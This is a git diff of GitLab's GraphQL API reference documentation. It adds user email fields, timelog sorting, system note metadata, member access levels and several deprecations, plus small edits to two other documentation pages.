+15566,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | `endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | `groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | `projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| `sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | `startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | `startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | `username` | [`String`](#string) | List timelogs for a user. | @@ -15353,7 +15603,9 @@ The author of the merge request. | `avatarUrl` | [`String`](#string) | URL of the user's avatar. | | `bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. | | `callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) | +| `commitEmail` | [`String`](#string) | User's default commit email. | | `email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). | +| `emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) | | `gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. | | `groupCount` | [`Int`](#int) | Group count for the user. | | `groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) | @@ -15362,6 +15614,7 @@ The author of the merge request. | `mergeRequestInteraction` | [`UserMergeRequestInteraction`](#usermergerequestinteraction) | Details of this user's interactions with the merge request. | | `name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. | | `namespace` | [`Namespace`](#namespace) | Personal namespace of the user. | +| `namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) | | `preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. | | `profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. | | `projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) | @@ -15547,6 +15800,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | `endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | `groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | `projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| `sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | `startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | `startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | `username` | [`String`](#string) | List timelogs for a user. | @@ -15602,7 +15856,9 @@ A user participating in a merge request. | `avatarUrl` | [`String`](#string) | URL of the user's avatar. | | `bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. | | `callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) | +| `commitEmail` | [`String`](#string) | User's default commit email. | | `email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). | +| `emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) | | `gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. | | `groupCount` | [`Int`](#int) | Group count for the user. | | `groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) | @@ -15611,6 +15867,7 @@ A user participating in a merge request. | `mergeRequestInteraction` | [`UserMergeRequestInteraction`](#usermergerequestinteraction) | Details of this user's interactions with the merge request. | | `name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. | | `namespace` | [`Namespace`](#namespace) | Personal namespace of the user. | +| `namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) | | `preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. | | `profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. | | `projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) | @@ -15796,6 +16053,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | `endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | `groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | `projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| `sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | `startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | `startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | `username` | [`String`](#string) | List timelogs for a user. | @@ -15850,7 +16108,9 @@ A user assigned to a merge request as a reviewer. | `avatarUrl` | [`String`](#string) | URL of the user's avatar. | | `bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. | | `callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) | +| `commitEmail` | [`String`](#string) | User's default commit email. | | `email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). | +| `emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) | | `gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. | | `groupCount` | [`Int`](#int) | Group count for the user. | | `groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) | @@ -15859,6 +16119,7 @@ A user assigned to a merge request as a reviewer. | `mergeRequestInteraction` | [`UserMergeRequestInteraction`](#usermergerequestinteraction) | Details of this user's interactions with the merge request. | | `name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. | | `namespace` | [`Namespace`](#namespace) | Personal namespace of the user. | +| `namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) | | `preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. | | `profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. | | `projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) | @@ -16044,6 +16305,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | `endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | `groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | `projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| `sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | `startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | `startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | `username` | [`String`](#string) | List timelogs for a user. | @@ -16190,6 +16452,7 @@ Contains statistics about a milestone. | Name | Type | Description | | ---- | ---- | ----------- | +| `achievements` **{warning-solid}** | [`AchievementConnection`](#achievementconnection) | **Introduced** in 15.8. This feature is in Alpha. It can be changed or removed at any time. Achievements for the namespace. Returns `null` if the `achievements` feature flag is disabled. | | `actualRepositorySizeLimit` | [`Float`](#float) | Size limit for repositories in the namespace in bytes. | | `additionalPurchasedStorageSize` | [`Float`](#float) | Additional storage purchased for the root namespace in bytes. | | `containsLockedProjects` | [`Boolean!`](#boolean) | Includes at least one project where the repository size exceeds the limit. | @@ -16306,6 +16569,18 @@ four standard [pagination arguments](#connection-pagination-arguments): | `allowStaleRunnerPruning` | [`Boolean`](#boolean) | Indicates if stale runners directly belonging to this namespace should be periodically pruned. | | `namespace` | [`Namespace`](#namespace) | Namespace the CI/CD settings belong to. | +### `NamespaceCommitEmail` + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `createdAt` | [`Time!`](#time) | Timestamp the namespace commit email was created. | +| `email` | [`Email!`](#email) | Email. | +| `id` | [`ID!`](#id) | Internal ID of the namespace commit email. | +| `namespace` | [`Namespace!`](#namespace) | Namespace. | +| `updatedAt` | [`Time!`](#time) | Timestamp the namespace commit email was last updated. | + ### `NestedEnvironment` Describes where code is deployed for a project organized by folder. @@ -16349,6 +16624,8 @@ Represents the network policy. | `discussion` | [`Discussion`](#discussion) | Discussion this note is a part of. | | `id` | [`NoteID!`](#noteid) | ID of the note. | | `internal` | [`Boolean`](#boolean) | Indicates if this note is internal. | +| `lastEditedAt` | [`Time`](#time) | Timestamp when note was last edited. | +| `lastEditedBy` | [`UserCore`](#usercore) | User who last edited the note. | | `position` | [`DiffPosition`](#diffposition) | Position of this note on a diff. | | `project` | [`Project`](#project) | Project associated with the note. | | `resolvable` | [`Boolean!`](#boolean) | Indicates if the object can be resolved. | @@ -16357,6 +16634,7 @@ Represents the network policy. | `resolvedBy` | [`UserCore`](#usercore) | User who resolved the object. | | `system` | [`Boolean!`](#boolean) | Indicates whether this note was created by the system or by a user. | | `systemNoteIconName` | [`String`](#string) | Name of the icon corresponding to a system note. | +| `systemNoteMetadata` | [`SystemNoteMetadata`](#systemnotemetadata) | Metadata for the given note if it is a system note. | | `updatedAt` | [`Time!`](#time) | Timestamp of the note's last activity. | | `url` | [`String`](#string) | URL to view this Note in the Web UI. | | `userPermissions` | [`NotePermissions!`](#notepermissions) | Permissions for the current user on the resource. | @@ -16820,6 +17098,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | `retried` | [`Boolean`](#boolean) | Filter jobs by retry-status. | | `securityReportTypes` | [`[SecurityReportTypeEnum!]`](#securityreporttypeenum) | Filter jobs by the type of security report they produce. | | `statuses` | [`[CiJobStatus!]`](#cijobstatus) | Filter jobs by status. | +| `whenExecuted` | [`[String!]`](#string) | Filter jobs by when they are executed. | ##### `Pipeline.securityReportFinding` @@ -17012,8 +17291,10 @@ Represents vulnerability finding of a security report on the pipeline. | `evidence` | [`VulnerabilityEvidence`](#vulnerabilityevidence) | Evidence for the vulnerability. | | `falsePositive` | [`Boolean`](#boolean) | Indicates whether the vulnerability is a false positive. | | `identifiers` | [`[VulnerabilityIdentifier!]!`](#vulnerabilityidentifier) | Identifiers of the vulnerability finding. | +| `issueLinks` | [`VulnerabilityIssueLinkConnection`](#vulnerabilityissuelinkconnection) | List of issue links related to the vulnerability. (see [Connections](#connections)) | | `links` | [`[VulnerabilityLink!]`](#vulnerabilitylink) | List of links associated with the vulnerability. | | `location` | [`VulnerabilityLocation`](#vulnerabilitylocation) | Location metadata for the vulnerability. Its fields depend on the type of security scan that found the vulnerability. | +| `mergeRequest` | [`MergeRequest`](#mergerequest) | Merge request that fixes the vulnerability. | | `name` **{warning-solid}** | [`String`](#string) | **Deprecated** in 15.1. Use `title`. | | `project` | [`Project`](#project) | Project on which the vulnerability finding was found. | | `projectFingerprint` **{warning-solid}** | [`String`](#string) | **Deprecated** in 15.1. The `project_fingerprint` attribute is being deprecated. Use `uuid` to identify findings. | @@ -18107,8 +18388,8 @@ Returns [`Requirement`](#requirement). | Name | Type | Description | | ---- | ---- | ----------- | | `authorUsername` | [`[String!]`](#string) | Filter requirements by author username. | -| `iid` | [`ID`](#id) | IID of the requirement, for example, "1". | -| `iids` | [`[ID!]`](#id) | List of IIDs of requirements, for example, `[1, 2]`. | +| `iid` **{warning-solid}** | [`ID`](#id) | **Deprecated** in 15.8. Use work_item_iid instead. | +| `iids` **{warning-solid}** | [`[ID!]`](#id) | **Deprecated** in 15.8. Use work_item_iids instead. | | `lastTestReportState` | [`RequirementStatusFilter`](#requirementstatusfilter) | State of latest requirement test report. | | `search` | [`String`](#string) | Search query for requirement title. | | `sort` | [`Sort`](#sort) | List requirements by sort order. | @@ -18131,8 +18412,8 @@ four standard [pagination arguments](#connection-pagination-arguments): | Name | Type | Description | | ---- | ---- | ----------- | | `authorUsername` | [`[String!]`](#string) | Filter requirements by author username. | -| `iid` | [`ID`](#id) | IID of the requirement, for example, "1". | -| `iids` | [`[ID!]`](#id) | List of IIDs of requirements, for example, `[1, 2]`. | +| `iid` **{warning-solid}** | [`ID`](#id) | **Deprecated** in 15.8. Use work_item_iid instead. | +| `iids` **{warning-solid}** | [`[ID!]`](#id) | **Deprecated** in 15.8. Use work_item_iids instead. | | `lastTestReportState` | [`RequirementStatusFilter`](#requirementstatusfilter) | State of latest requirement test report. | | `search` | [`String`](#string) | Search query for requirement title. | | `sort` | [`Sort`](#sort) | List requirements by sort order. | @@ -18297,6 +18578,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | `endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | `groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | `projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| `sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | `startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | `startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | `username` | [`String`](#string) | List timelogs for a user. | @@ -18873,12 +19155,12 @@ Returns [`Tree`](#tree). | `projectBlobPathRoot` | [`String`](#string) | Web path for the root of the blob. | | `rawBlob` | [`String`](#string) | Raw content of the blob. | | `rawPath` | [`String`](#string) | Web path to download the raw blob. | -| `rawSize` | [`Int`](#int) | Size (in bytes) of the blob, or the blob target if stored externally. | +| `rawSize` | [`BigInt`](#bigint) | Size (in bytes) of the blob, or the blob target if stored externally. | | `rawTextBlob` | [`String`](#string) | Raw content of the blob, if the blob is text data. | | `replacePath` | [`String`](#string) | Web path to replace the blob content. | | `richViewer` | [`BlobViewer`](#blobviewer) | Blob content rich viewer. | | `simpleViewer` | [`BlobViewer!`](#blobviewer) | Blob content simple viewer. | -| `size` | [`Int`](#int) | Size (in bytes) of the blob. | +| `size` | [`BigInt`](#bigint) | Size (in bytes) of the blob. | | `storedExternally` | [`Boolean`](#boolean) | Whether the blob's content is stored externally (for instance, in LFS). | | `webPath` | [`String`](#string) | Web path of the blob. | @@ -18905,7 +19187,7 @@ Represents a requirement. | `description` | [`String`](#string) | Description of the requirement. | | `descriptionHtml` | [`String`](#string) | GitLab Flavored Markdown rendering of `description`. | | `id` | [`ID!`](#id) | ID of the requirement. | -| `iid` | [`ID!`](#id) | Internal ID of the requirement. | +| `iid` **{warning-solid}** | [`ID!`](#id) | **Deprecated** in 15.8. Use work_item_iid instead. | | `lastTestReportManuallyCreated` | [`Boolean`](#boolean) | Indicates if latest test report was created by user. | | `lastTestReportState` | [`TestReportState`](#testreportstate) | Latest requirement test report state. | | `project` | [`Project!`](#project) | Project to which the requirement belongs. | @@ -19376,6 +19658,7 @@ Represents a snippet entry. | Name | Type | Description | | ---- | ---- | ----------- | | `author` | [`UserCore`](#usercore) | Owner of the snippet. | +| `commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | `createdAt` | [`Time!`](#time) | Timestamp this snippet was created. | | `description` | [`String`](#string) | Description of the snippet. | | `descriptionHtml` | [`String`](#string) | The GitLab Flavored Markdown rendering of `description`. | @@ -19548,9 +19831,18 @@ Represents a Suggested Reviewers result set. | Name | Type | Description | | ---- | ---- | ----------- | -| `reviewers` | [`[String!]!`](#string) | List of reviewers. | -| `topN` | [`Int`](#int) | Number of reviewers returned. | -| `version` | [`String`](#string) | Suggested reviewer version. | +| `accepted` | [`[String!]`](#string) | List of accepted reviewer usernames. | +| `suggested` | [`[String!]!`](#string) | List of suggested reviewer usernames. | + +### `SystemNoteMetadata` + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `action` | [`String`](#string) | System note metadata action. | +| `descriptionVersion` | [`DescriptionVersion`](#descriptionversion) | Version of the changed description. | +| `id` | [`SystemNoteMetadataID!`](#systemnotemetadataid) | Global ID of the specific system note metadata. | ### `TaskCompletionStatus` @@ -19641,6 +19933,7 @@ Represents a requirement test report. | `createdAt` | [`Time!`](#time) | Timestamp of when the test report was created. | | `id` | [`ID!`](#id) | ID of the test report. | | `state` | [`TestReportState!`](#testreportstate) | State of the test report. | +| `usesLegacyIid` | [`Boolean`](#boolean) | Indicates whether the test report was generated with references to legacy requirement IIDs. | ### `TestReportSummary` @@ -19948,7 +20241,9 @@ Core represention of a GitLab user. | `avatarUrl` | [`String`](#string) | URL of the user's avatar. | | `bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. | | `callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) | +| `commitEmail` | [`String`](#string) | User's default commit email. | | `email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). | +| `emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) | | `gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. | | `groupCount` | [`Int`](#int) | Group count for the user. | | `groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) | @@ -19956,6 +20251,7 @@ Core represention of a GitLab user. | `location` | [`String`](#string) | Location of the user. | | `name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. | | `namespace` | [`Namespace`](#namespace) | Personal namespace of the user. | +| `namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) | | `preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. | | `profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. | | `projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) | @@ -20141,6 +20437,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | `endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | `groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | `projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| `sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | `startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | `startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | `username` | [`String`](#string) | List timelogs for a user. | @@ -20236,6 +20533,7 @@ Represents a vulnerability. | Name | Type | Description | | ---- | ---- | ----------- | +| `commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | `confirmedAt` | [`Time`](#time) | Timestamp of when the vulnerability state was changed to confirmed. | | `confirmedBy` | [`UserCore`](#usercore) | User that confirmed the vulnerability. | | `description` | [`String`](#string) | Description of the vulnerability. | @@ -20265,6 +20563,7 @@ Represents a vulnerability. | `severity` | [`VulnerabilitySeverity`](#vulnerabilityseverity) | Severity of the vulnerability (INFO, UNKNOWN, LOW, MEDIUM, HIGH, CRITICAL). | | `state` | [`VulnerabilityState`](#vulnerabilitystate) | State of the vulnerability (DETECTED, CONFIRMED, RESOLVED, DISMISSED). | | `title` | [`String`](#string) | Title of the vulnerability. | +| `updatedAt` | [`Time`](#time) | Timestamp of when the vulnerability was last updated. | | `userNotesCount` | [`Int!`](#int) | Number of user notes attached to the vulnerability. | | `userPermissions` | [`VulnerabilityPermissions!`](#vulnerabilitypermissions) | Permissions for the current user on the resource. | | `vulnerabilityPath` | [`String`](#string) | Path to the vulnerability's details page. | @@ -20971,6 +21270,17 @@ Represents a progress widget. | `progress` | [`Int`](#int) | Progress of the work item. | | `type` | [`WorkItemWidgetType`](#workitemwidgettype) | Widget type. | +### `WorkItemWidgetRequirementLegacy` + +Represents a legacy requirement widget. + +#### Fields + +| Name | Type | Description | +| ---- | ---- | ----------- | +| `legacyIid` **{warning-solid}** | [`Int`](#int) | **Deprecated** in 15.9. Use Work Item IID instead. | +| `type` | [`WorkItemWidgetType`](#workitemwidgettype) | Widget type. | + ### `WorkItemWidgetStartAndDueDate` Represents a start and due date widget. @@ -21067,6 +21377,7 @@ Access level to a resource. | Value | Description | | ----- | ----------- | +| `ADMIN` | Admin access. | | `DEVELOPER` | Developer access. | | `GUEST` | Guest access. | | `MAINTAINER` | Maintainer access. | @@ -21552,6 +21863,17 @@ Values for sorting tags. | `all` | All available organizations. | | `inactive` | Inactive organizations. | +### `DastPreScanVerificationStatus` + +Status of DAST pre scan verification. + +| Value | Description | +| ----- | ----------- | +| `COMPLETE` | Pre Scan Verification complete without errors. | +| `COMPLETE_WITH_ERRORS` | Pre Scan Verification finished with one or more errors. | +| `FAILED` | Pre Scan Validation unable to finish. | +| `RUNNING` | Pre Scan Verification in execution. | + ### `DastProfileCadenceUnit` Unit for the duration of Dast Profile Cadence. @@ -22153,6 +22475,19 @@ Possible identifier types for a measurement. | `PROJECTS` | Project count. | | `USERS` | User count. | +### `MemberAccessLevel` + +Access level of a group or project member. + +| Value | Description | +| ----- | ----------- | +| `DEVELOPER` | Developer access. | +| `GUEST` | Guest access. | +| `MAINTAINER` | Maintainer access. | +| `MINIMAL_ACCESS` | Minimal access. | +| `OWNER` | Owner access. | +| `REPORTER` | Reporter access. | + ### `MemberSort` Values for sorting members. @@ -22679,6 +23014,7 @@ State of a Sentry error. | Value | Description | | ----- | ----------- | +| `APPLE_APP_STORE_SERVICE` | AppleAppStoreService type. | | `ASANA_SERVICE` | AsanaService type. | | `ASSEMBLA_SERVICE` | AssemblaService type. | | `BAMBOO_SERVICE` | BambooService type. | @@ -22732,8 +23068,9 @@ How to format SHA strings. | Value | Description | | ----- | ----------- | +| `DISABLED_AND_OVERRIDABLE` | Sharing of runners is disabled and overridable. | | `DISABLED_AND_UNOVERRIDABLE` | Sharing of runners is disabled and unoverridable. | -| `DISABLED_WITH_OVERRIDE` | Sharing of runners is disabled with override. | +| `DISABLED_WITH_OVERRIDE` **{warning-solid}** | **Deprecated** in 17.0. This was renamed. Use: `disabled_and_overridable`. | | `ENABLED` | Sharing of runners is enabled. | ### `SnippetBlobActionEnum` @@ -22813,6 +23150,25 @@ Category of error. | `updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. | | `updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. | +### `TimelogSort` + +Values for sorting timelogs. + +| Value | Description | +| ----- | ----------- | +| `CREATED_ASC` | Created at ascending order. | +| `CREATED_DESC` | Created at descending order. | +| `SPENT_AT_ASC` | Spent at by ascending order. | +| `SPENT_AT_DESC` | Spent at by descending order. | +| `TIME_SPENT_ASC` | Time spent by ascending order. | +| `TIME_SPENT_DESC` | Time spent by descending order. | +| `UPDATED_ASC` | Updated at ascending order. | +| `UPDATED_DESC` | Updated at descending order. | +| `created_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_ASC`. | +| `created_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `CREATED_DESC`. | +| `updated_asc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_ASC`. | +| `updated_desc` **{warning-solid}** | **Deprecated** in 13.5. This was renamed. Use: `UPDATED_DESC`. | + ### `TodoActionEnum` | Value | Description | @@ -22822,7 +23178,7 @@ Category of error. | `build_failed` | Build triggered by the user failed. | | `directly_addressed` | User was directly addressed. | | `marked` | User added a to-do item. | -| `member_access_requested` | Group access requested from the user. | +| `member_access_requested` | Group or project access requested from the user. | | `mentioned` | User was mentioned. | | `merge_train_removed` | Merge request authored by the user was removed from the merge train. | | `review_requested` | Review was requested from the user. | @@ -23148,6 +23504,7 @@ Type of a work item widget. | `MILESTONE` | Milestone widget. | | `NOTES` | Notes widget. | | `PROGRESS` | Progress widget. | +| `REQUIREMENT_LEGACY` | Requirement Legacy widget. | | `START_AND_DUE_DATE` | Start And Due Date widget. | | `STATUS` | Status widget. | | `WEIGHT` | Weight widget. | @@ -23163,6 +23520,12 @@ each kind of object. For more information, read about [Scalar Types](https://graphql.org/learn/schema/#scalar-types) on `graphql.org`. +### `AchievementsAchievementID` + +A `AchievementsAchievementID` is a global ID. It is encoded as a string. + +An example `AchievementsAchievementID` is: `"gid://gitlab/Achievements::Achievement/1"`. + ### `AlertManagementAlertID` A `AlertManagementAlertID` is a global ID. It is encoded as a string. @@ -23361,6 +23724,12 @@ A `DependencyProxyManifestID` is a global ID. It is encoded as a string. An example `DependencyProxyManifestID` is: `"gid://gitlab/DependencyProxy::Manifest/1"`. +### `DescriptionVersionID` + +A `DescriptionVersionID` is a global ID. It is encoded as a string. + +An example `DescriptionVersionID` is: `"gid://gitlab/DescriptionVersion/1"`. + ### `DesignManagementDesignAtVersionID` A `DesignManagementDesignAtVersionID` is a global ID. It is encoded as a string. @@ -23698,6 +24067,12 @@ An example `SnippetID` is: `"gid://gitlab/Snippet/1"`. Represents textual data as UTF-8 character sequences. This type is most often used by GraphQL to represent free-form human-readable text. +### `SystemNoteMetadataID` + +A `SystemNoteMetadataID` is a global ID. It is encoded as a string. + +An example `SystemNoteMetadataID` is: `"gid://gitlab/SystemNoteMetadata/1"`. + ### `TerraformStateID` A `TerraformStateID` is a global ID. It is encoded as a string. @@ -24095,6 +24470,7 @@ Implementations: | Name | Type | Description | | ---- | ---- | ----------- | +| `commenters` | [`UserCoreConnection!`](#usercoreconnection) | All commenters on this noteable. (see [Connections](#connections)) | | `discussions` | [`DiscussionConnection!`](#discussionconnection) | All discussions on this noteable. (see [Connections](#connections)) | | `notes` | [`NoteConnection!`](#noteconnection) | All notes on this noteable. (see [Connections](#connections)) | @@ -24222,7 +24598,9 @@ Implementations: | `avatarUrl` | [`String`](#string) | URL of the user's avatar. | | `bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. | | `callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. (see [Connections](#connections)) | +| `commitEmail` | [`String`](#string) | User's default commit email. | | `email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: [`User.publicEmail`](#userpublicemail). | +| `emails` | [`EmailConnection`](#emailconnection) | User's email addresses. (see [Connections](#connections)) | | `gitpodEnabled` | [`Boolean`](#boolean) | Whether Gitpod is enabled at the user level. | | `groupCount` | [`Int`](#int) | Group count for the user. | | `groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. (see [Connections](#connections)) | @@ -24230,6 +24608,7 @@ Implementations: | `location` | [`String`](#string) | Location of the user. | | `name` | [`String!`](#string) | Human-readable name of the user. Returns `****` if the user is a project bot and the requester does not have permission to view the project. | | `namespace` | [`Namespace`](#namespace) | Personal namespace of the user. | +| `namespaceCommitEmails` | [`NamespaceCommitEmailConnection`](#namespacecommitemailconnection) | User's custom namespace commit emails. (see [Connections](#connections)) | | `preferencesGitpodPath` | [`String`](#string) | Web path to the Gitpod section within user preferences. | | `profileEnableGitpodPath` | [`String`](#string) | Web path to enable Gitpod for the user. | | `projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. (see [Connections](#connections)) | @@ -24415,6 +24794,7 @@ four standard [pagination arguments](#connection-pagination-arguments): | `endTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or before endTime. | | `groupId` | [`GroupID`](#groupid) | List timelogs for a group. | | `projectId` | [`ProjectID`](#projectid) | List timelogs for a project. | +| `sort` | [`TimelogSort`](#timelogsort) | List timelogs in a particular order. | | `startDate` | [`Time`](#time) | List timelogs within a date range where the logged date is equal to or after startDate. | | `startTime` | [`Time`](#time) | List timelogs within a time range where the logged time is equal to or after startTime. | | `username` | [`String`](#string) | List timelogs for a user. | @@ -24453,6 +24833,7 @@ Implementations: - [`WorkItemWidgetMilestone`](#workitemwidgetmilestone) - [`WorkItemWidgetNotes`](#workitemwidgetnotes) - [`WorkItemWidgetProgress`](#workitemwidgetprogress) +- [`WorkItemWidgetRequirementLegacy`](#workitemwidgetrequirementlegacy) - [`WorkItemWidgetStartAndDueDate`](#workitemwidgetstartandduedate) - [`WorkItemWidgetStatus`](#workitemwidgetstatus) - [`WorkItemWidgetWeight`](#workitemwidgetweight) @@ -24934,6 +25315,7 @@ A time-frame defined as a closed inclusive range of two dates. | ---- | ---- | ----------- | | `assigneeUsernames` | [`[String!]`](#string) | Filters issues that are assigned to at least one of the given users. | | `authorUsernames` | [`[String!]`](#string) | Filters issues that are authored by one of the given users. | +| `labelNames` | [`[String!]`](#string) | Filters issues that have at least one of the given labels. | ### `UpdateDiffImagePositionInput` diff --git a/doc/api/graphql/users_example.md b/doc/api/graphql/users_example.md index 9d223f9e618..83cc2d6ac5e 100644 --- a/doc/api/graphql/users_example.md +++ b/doc/api/graphql/users_example.md @@ -12,7 +12,6 @@ You can run the same query directly via a HTTP endpoint, using `cURL`. For more guidance on getting started from the [command line](getting_started.md#command-line). The [example users query](#set-up-the-graphiql-explorer) looks for a subset of users in -o a GitLab instance either by username or [Global ID](../../development/api_graphql_styleguide.md#global-ids). The query includes: @@ -82,7 +81,7 @@ NOTE: a single integer. This GraphQL query returns the specified information for the three users with the listed username. Since the GraphiQL explorer uses the session token to authorize access to resources, -the output is limited to the projects and groups accessible to the currently signed-in user. +the output is limited to the projects and groups accessible to the currently authenticated user. If you've signed in as an instance administrator, you would have access to all records, regardless of ownership. diff --git a/doc/api/group_badges.md b/doc/api/group_badges.md index 14146745d86..46f0a28e945 100644 --- a/doc/api/group_badges.md +++ b/doc/api/group_badges.md @@ -1,6 +1,6 @@ --- stage: Manage -group: Workspace +group: Organization info: To determine the technical writer assigned to the Stage/Group associated with this page, see 